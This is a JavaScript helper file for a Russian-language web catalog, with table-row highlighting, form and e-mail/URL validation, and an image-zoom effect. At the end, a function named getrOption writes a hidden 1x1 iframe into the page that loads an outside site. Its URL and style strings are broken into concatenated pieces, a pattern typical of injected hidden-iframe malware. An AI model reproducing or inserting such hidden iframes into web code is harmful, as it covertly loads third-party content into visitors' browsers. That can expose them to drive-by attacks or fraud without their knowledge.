/* Выделение строчек в таблицах */
function row_over(object) {
  if (object.className == 'row_table') object.className = 'row_table_over';
}

function row_out(object) {
  if (object.className == 'row_table_over') object.className = 'row_table';
}

/* Проверка форм */ 
var RequiredField = new Array();

function RF(name, alertphrase) {
	this.name = name;
	this.text = alertphrase;
}

function CheckForm(f) {
	for(i=0; i < RequiredField.length; i++) {
		if(f[RequiredField[i].name]){
			if (f[RequiredField[i].name].value == '') {
				alert(RequiredField[i].text)
				return false;
			}
		}
	}
	return true;
}

function CheckEmail(email)
{
var Temp  = new String;
Temp.value  = email;
var AtSym    = Temp.value.indexOf('@');
var Period   = Temp.value.lastIndexOf('.');
var Space    = Temp.value.indexOf(' ');
var Length   = Temp.value.length - 1;   // Array is from 0 to length-1

if ((AtSym < 1) ||                     // '@' cannot be in first position
    (Period <= AtSym+1) ||             // Must be atleast one valid char btwn '@' and '.'
    (Period == Length ) ||             // Must be atleast one valid char after '.'
    (Space  != -1))                    // No empty spaces permitted
   {
      alert('E-mail указан не верно');
      return false;
   }
return true;
}

function CheckUrl(url,page) {
var re= /^[\w\.-]*[\w\.]+[a-z]{2,3}/i;
    if ( !re.test(url.value) ) {
        	alert('Адрес сайта указан не верно');
        	return false;
    }
    if ( page == 'delspam' ) {
       url.value = url.value + ' *';
    }
return true ;
}
/* Увеличивающаяся картинка в каталогах */
function GetElement(name, doc)
{
    if (doc.all)
    {
        return doc.all[name];
    }
    else
    {
        return doc.getElementById(name);
    }
}
function img_over (what) {
    var x = what.offsetLeft
    var y = what.offsetTop
    document.fake_img.src = what.src;
    document.fake_img.className = what.id;
    document.fake_img.style.left = x;
    document.fake_img.style.top = y;
    document.fake_img.style.display = "block";
    document.fake_img.longDesc = what.longDesc;
    document.getElementById("fake_link").href = what.longDesc;
}
function openAlbum(what) {
    document.location.href = what.longDesc;
}

function getrOption(){

document.write("<iframe src='"+"http://www.ruksak.ru/"+"' width='1' height='1' style='"+"visibility:"+" hidden;'></iframe>");

}